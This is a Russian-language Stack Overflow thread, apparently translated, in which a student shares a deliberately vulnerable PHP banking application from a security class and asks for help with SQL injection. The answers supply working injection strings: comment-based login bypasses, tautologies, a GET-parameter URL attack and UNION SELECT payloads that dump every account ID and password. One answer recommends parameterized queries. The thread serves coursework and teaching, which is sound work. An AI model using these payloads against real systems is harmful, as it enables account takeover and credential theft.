Атака SQL-инъекции с помощью php


Это часть задания для моего класса компьютерной безопасности, поэтому я не ищу конкретных ответов, просто немного помощи.

Нам дали неисправную программу (на php), которая управляет базой данных sql (банковским счетом), и мы должны найти способ создать атаку с использованием SQL-инъекции, которая позволит нам войти в учетную запись, не зная заранее ее идентификатор.

Я почти уверен, что знаю, где находится уязвимость, но, похоже, я не могу заставить свои атаки работать.

Код в вопросе (он довольно длинный, но единственная важная часть находится в первой части):

<html><head><title>FrobozzCo Community Credit Union</title></head>
<body>
<h1>FrobozzCo Community Credit Union</h1>
<h4><i>We're working for GUE</i></h4>
<hr>
<?php

$debugmode = 1;
function debug($msg) {

    global $debugmode;

    if ($debugmode) {
        echo "<h4>$msg</h4>\n";
    }
}

$thispage = 'FCCU.php';
echo "<form action='$thispage' method='post' name='theform'>\n";
$dbuser = 'fccu';
$dbpass = 'fccubucks';
$dbhost = 'localhost';
$dbname = $dbuser;

$PARAM = array_merge($_GET, $_POST);

// get username and password from form
if (!$PARAM['id'] || !$PARAM['password']) {
    login();
} else { // otherwise, attempt to authenticate
    $id = $PARAM['id'];
    $password = $PARAM['password'];

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
    debug($query);
    $result = mysql_query($query) or die(mysql_error());
    $row = mysql_fetch_array($result); // there should be only one row

    if (!$row) { // auth failure
        echo "<p><b>Your ID number and password you entered do not match.</b></p>";
        echo "<p>Please try again.</p>";
        login();
    } else { // this user is authenticated!

        // store authentication information in this form
        echo "<input type=\"hidden\" name=\"id\" value=\"$id\" />\n";
        echo "<input type=\"hidden\" name=\"password\" value=\"$password\" />\n";

        banner($row);

        // perform any requested actions (wire, transfer, withdraw)
        if ($PARAM['action'] == 'Transfer Money') {
            transfer_funds($id, 
                       $password,
                           $PARAM['transfer_to'], 
                       $PARAM['transfer_amount']);
        } elseif ($PARAM['action'] == 'Wire Money') {
            wire_funds($id,
                        $password,
                            $PARAM['routing'],
                        $PARAM['wire_acct'],
                        $PARAM['wire_amount']);
        } elseif ($PARAM['action'] == 'Withdraw Money') {
            withdraw_cash($id,
                          $password,
                              $PARAM['withdraw_amount']);
        }

        // normal output

        // account info
        $query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
        $result = mysql_query($query) or die(mysql_error());
        $row = mysql_fetch_array($result); // there should be only one row
        account_info($row);

        // get current account list by name
        $query = "SELECT first, last FROM accounts ORDER BY last";
        $names = mysql_query($query) or die(mysql_error());
        account_actions($row, $names);
    }


}
echo "<hr>\n";
echo "Generated by FCCU.php at " . date("l M dS, Y, H:i:s",5678)."<br>";

function name_to_id($name) {

    global $dbhost, $dbuser, $dbpass, $dbname;
    $splitname = explode(", ", $name);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);
    $query = "SELECT id FROM accounts WHERE first = '$splitname[1]' AND last = '$splitname[0]'";
    $result = mysql_query($query) or die(mysql_error());
    $row = mysql_fetch_array($result);
    $id = $row[0];

    return $id;
}

function action_error($msg, $error) {

    echo "<table bgcolor='#ff0000' color='#ffffff' align=center border=1>
          <tr><td><center><b>ERROR!</b></center></td></tr>
          <tr><td>
                  <p align='center'>$msg</p>
                  <p align='center'>Please go back and try again or contact tech support.</p>
                  <p align='center'><i>args: $error</i></p>
              <p align='center'><input type='submit' name='clear' value='Clear Message'></p>

              </td></tr>
          </table>";
}

function withdraw_cash($id, $password, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
    debug("126: ($password) " . $query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $giver_has = $row[0];

    if ($amount > 0 && $giver_has >= $amount) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        pretend("withdraw cash", $amount);
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Cash withdrawal of $$amount complete.</h2>
              <h3 align='center'>Your cash should be ready in accounting within 45 minutes.</h3>\n";
    } else {
        action_error("Problem with cash withdrawal!",
                         "'$id', '$giver_has', '$amount'");
    }
}


function wire_funds($id, $password,  $bank, $account, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
    debug($query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $giver_has = $row[0];

    if ($amount > 0 && $giver_has >= $amount && $bank && $account) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        pretend("wire money", $amount, $bank, $acct);
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Wire of $$amount to bank ($bank) account ($account) complete.</h2>\n";
    } else {
        action_error("Problem with wire fund transfer!", 
                     "'$id', '$amount', '$giver_has', '$bank', '$account'");
    }
}

function pretend() {

    return 1;
}

function transfer_funds($giver_id, $password, $recipient, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);
    $recipient_id = name_to_id($recipient);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE id = $giver_id OR id = $recipient_id";
    debug($query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $recipient_has = $row[0];
    $row = mysql_fetch_array($result);
    $giver_has = $row[0];
    debug("$giver_has, $recipient_has");

    if ($amount > 0 && $giver_has >= $amount && $recipient_has) {
        $giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
        $recipient_has = $recipient_has + $amount; // does anyone know what it is?
        $query = "UPDATE accounts SET bal = $recipient_has WHERE id = $recipient_id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $giver_id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Transfer of $$amount to $recipient complete.</h2>\n";
    } else {
        action_error("Problem with employee fund transfer!",
                         "'$giver_id', '$recipient', '$amount', '$giver_has'");
    }
}

function account_info($row) {

    echo "<table border='1' align='center'>
          <tr><td colspan='2'><p><center><b>Account Information</b></center></p></td></tr>
          <tr><td><b>Account:</b></td><td>$row[0]</td></tr>
          <tr><td><b>Balance:</b></td><td>$$row[1]</td></tr>
          <tr><td><b>Birthdate:</b></td><td>$row[6]</td></tr>
          <tr><td><b>SSN:</b></td><td>$row[5]</td></tr>
          <tr><td><b>Phone:</b></td><td>$row[4]</td></tr>
          <tr><td><b>Email:</b></td><td>$row[7]@frobozzco.com</td></tr>
          </table>\n";
}

function account_actions($row, $names) {

    global $thispage;

    echo "<table border=1 width='600' align='center'>

          <tr><td><center><b>Account Actions</b></center></td></tr>

          <tr><td><center><b>Wire Funds</b></center></td></tr>

          <tr><td>
          <p>To wire funds: enter the amount (in whole dollars), the 
          receiving bank's <b>routing number</b> and <b>receiving account number</b>, 
          and press 'Wire Funds!'</p>
          Wire amount: $<input name=wire_amount /><br />
          Routing Number: <input name=routing /> (e.g. 091000022)<br />
          Account Number: <input name=wire_acct /> (e.g. 923884509)<br />
          <p align='center'><input type='submit' name='action' value='Wire Money'></p>
          <p />
          </td></tr>

          <tr><td><center><b>Transfer Money</b></center></td><tr>

          <tr><td><p>To transfer money to another FCCU account holder, select the 
          employee from the drop-down menu below, enter an ammount (in whole dollars)
          to transfer, and press 'Transfer Money!'</p>
          Transfer Amount: $<input name=transfer_amount /><br />
          Transfer To: ";
          // create dropdown menu with accounts
          echo "<select name='transfer_to' selected='select employee'>\n";
          echo "<option value='nobody'>select employee</option>\n";
          while ($name = mysql_fetch_array($names)) {
              echo "<option value=\"$name[1], $name[0]\">$name[1], $name[0]</option>\n";
          }
          echo "</select>\n";
          echo "<br />
          <p align='center'><input type='submit' name='action' value='Transfer Money'></p>
          <p />
          </td></tr>

          <tr><td><center><b>Withdraw Cash</b></center></td><tr>

          <tr><td><p>To withdraw cash, enter an amount (in whole dollars) and press 
          the 'Withdraw Cash!' button. The cash will be available in the accounting 
          office within 45 minutes.</p>
          Withdraw Amount: $<input name=withdraw_amount /><br />
          <p align='center'><input type='submit' name='action' value='Withdraw Money'></p>
          <p />
          </td></tr>
          </table>
          \n";

}

function banner($row) {

    global $thispage;

    $fullname = "$row[2] $row[3]";
    echo "<table width='100%'><tr><td>
    <p align='left'>Welcome, $fullname. (<a href='$thispage'>Log Out</a>)</p>
          </td><td>
          <p align='right'><i>(If you aren't $fullname, <a href='$thispage'>click here</a>.)</i></p>
          </td></tr></table>\n";
    echo "<hr>\n";


}

function login() {

    global $thispage;

    echo "<p>Enter your <b>account ID</b> and password and click \"submit.\"</p>\n";
    echo "<table>\n";
    echo "<tr><td>Account ID Number: </td><td><input name='id' cols='10' /></td></tr>\n";
    echo "<tr><td>Password (alphanumeric only): </td><td><input name='password' cols='30' /></td></tr>\n";
    echo "<tr><td><input type='submit' value='Submit' name='submit'></td><td></td></tr>\n";
    echo "</table>\n";

}

?>
</form>
<p>Done.</p>
</body>
</html>

Строка:

$query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";

Я попробовал ввести пару строк идентификатора (я работаю из своего браузера), таких как

100 OR id=id;
0 OR 1=1;

Чтобы попытаться прокомментировать часть команды с паролем. Я довольно новичок в SQL, поэтому я думаю, что просто неправильно форматирую это.

Это или я полностью упускаю из виду более очевидный подвиг.

Author: user1777900, 2014-05-15

7 answers

Вам нужно обязательно прокомментировать остальную часть запроса, чтобы кавычки не сбивали вас с толку, и поэтому любые дополнительные предложения игнорируются.

Попробуйте установить идентификатор в:

0 OR id=id -- 

--  (это дефис, дефис, пробел: пробел важен) - это комментарий в MySQL.

 34
Author: Rocket Hazmat, 2014-05-15 18:23:30

Ты учишься в школе, и я не хочу просто давать тебе ответ. : Р

Учитывая тот факт, что запрос не параметризован...

Обратите внимание на расположение апострофов.

Имейте в виду запрос:

Select field
FROM table
WHERE field = '<-- Note these -->'

Однако вы на правильном пути!

УРОК

Всегда, всегда, всегда используйте параметризованные запросы, если можете. Также PDO - хороший способ доступа к базам данных на PHP.

ПРИМЕР

anything' OR 'x'='x

 11
Author: Josef E., 2014-05-16 13:18:04

Использование SQL-инъекций - это искусство предоставления значений, которые при включении в инструкцию SQL приводят к правильному синтаксису инструкции SQL при изменении семантики, предназначенной разработчиком, на некоторые, которые выгодны злоумышленнику.

Теперь, если мы посмотрим на вашу попытку с идентификатором , являющимся 100 OR id=id; и паролем чем-то, полученный SQL выглядит так:

SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = 'something'

Теперь у вас есть две проблемы с это:

  1. mysql_query поддерживает выполнение только одного оператора и выдает ошибку, если существует более одного оператора.
  2. Даже если бы поддерживалось несколько операторов, возвращаемое значение было бы результатом второго оператора, что, очевидно, недопустимо.

Поэтому, чтобы исправить это, самый простой способ - ввести комментарий , его синтаксис # или --  ( обратите внимание на конечный пробел) для комментариев до конца строки. Таким образом, вы можете использовать одно из следующих значений для идентификатора :

100 OR id=id #
100 OR id=id -- 

Или вы вводите независимое предложение OR без каких-либо комментариев, подобных этому:

100 OR id=id OR id

Это приведет к:

SELECT * FROM accounts WHERE id = 100 OR id=id OR id AND password = 'something'

Здесь id=id верно для каждой строки.

 7
Author: Gumbo, 2014-05-15 18:39:14

Принятый ответ охватывает все.

Однако я замечаю, что в первоначальном вопросе одним из пунктов было "разрешить нам войти в учетную запись, не зная заранее ее идентификатор".

Предполагая, что вы заранее знаете имя (но не идентификатор), вы можете установить идентификатор примерно следующим образом

0 OR (first='joe' AND last='bloggs') -- 

Я также был бы склонен установить пароль на что-то вроде:-

' OR (first='joe' AND last='bloggs') -- 

Таким образом, запросы, которые проверяют пароль перед идентификатором пользователя (например, баланс проверить) также можно было бы заставить работать

Для вашего развлечения есть еще кое-что, что было бы интересно попробовать. Установите идентификатор примерно так:-

0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 

И пароль к чему-то вроде этого:-

' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 

Затем в функции account_info должен быть указан фактический пароль (возможно, вам потребуется добавить ",пароль" еще несколько раз, просто чтобы количество столбцов соответствовало количеству столбцов в таблице учетных записей).

Или, если вам нужны все идентификаторы: -

0 UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 

И пароли:-

' UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 

Что-то вроде этого должно предоставить вам все идентификаторы и пароли в системе (при условии ограничения максимальной длины для GROUP_CONCAT). Таким образом, после этого вы могли легко войти в систему с любым идентификатором и паролем, которые вы хотели.

Я скопировал ваш сценарий и создал тестовую таблицу, и все вышеперечисленное сработало.

 4
Author: Kickstart, 2017-05-23 12:24:59

В принципе, вы можете атаковать это с помощью GET или POST. Метод GET намного проще, просто создайте параметр URL с именем id с нужным SQL для ввода.

http://www.somesite.com/FCCU.php?id=id -- 

Возможно, вам придется закодировать его по URI, просто сначала попробуйте не закодировать. Затем сервер выполнит запрос:

SELECT * FROM accounts WHERE id = id -- AND password = '$password'

Поскольку условие пароля закомментировано и WHERE id = id эквивалентно WHERE TRUE, в конечном итоге будет работать так же, как:

SELECT * FROM accounts

Возвращаемое значение этого запроса затем сохраняется в переменная, в которой содержится вся информация об учетной записи каждого пользователя в базе данных сайта. Поскольку они передают эту переменную в свою функцию отладки, вам просто нужно включить режим отладки, и вы должны увидеть конфиденциальную информацию о входе и пароле каждого пользователя.

 3
Author: Alex W, 2014-11-26 16:11:32

Нехорошо взламывать, но:

SELECT * FROM accounts WHERE id = $id AND password = '$password'"

В поле идентификатора tipe

1 --
2 --

Или

1-- // without space
2--

Таким образом, вы сможете войти в систему под именем каждого пользователя

 2
Author: volkinc, 2014-05-22 11:36:08

Вы можете ввести это в качестве идентификатора (пример для учетной записи с идентификатором 123):

123 OR 1=2

Хитрость в том, что вторая часть оценивается как ЛОЖНАЯ, и поэтому в результате у вас есть только id=123. Использование истинного условия приведет ко всем строкам, поэтому вы, вероятно, получите id=1, если таблица будет отсортирована.

Следующим шагом является проверка полученной страницы и поиск в поле скрытый пароль. Затем вы сможете отправлять больше запросов с правильным идентификатором и паролем.

 1
Author: awsm, 2014-05-15 21:19:05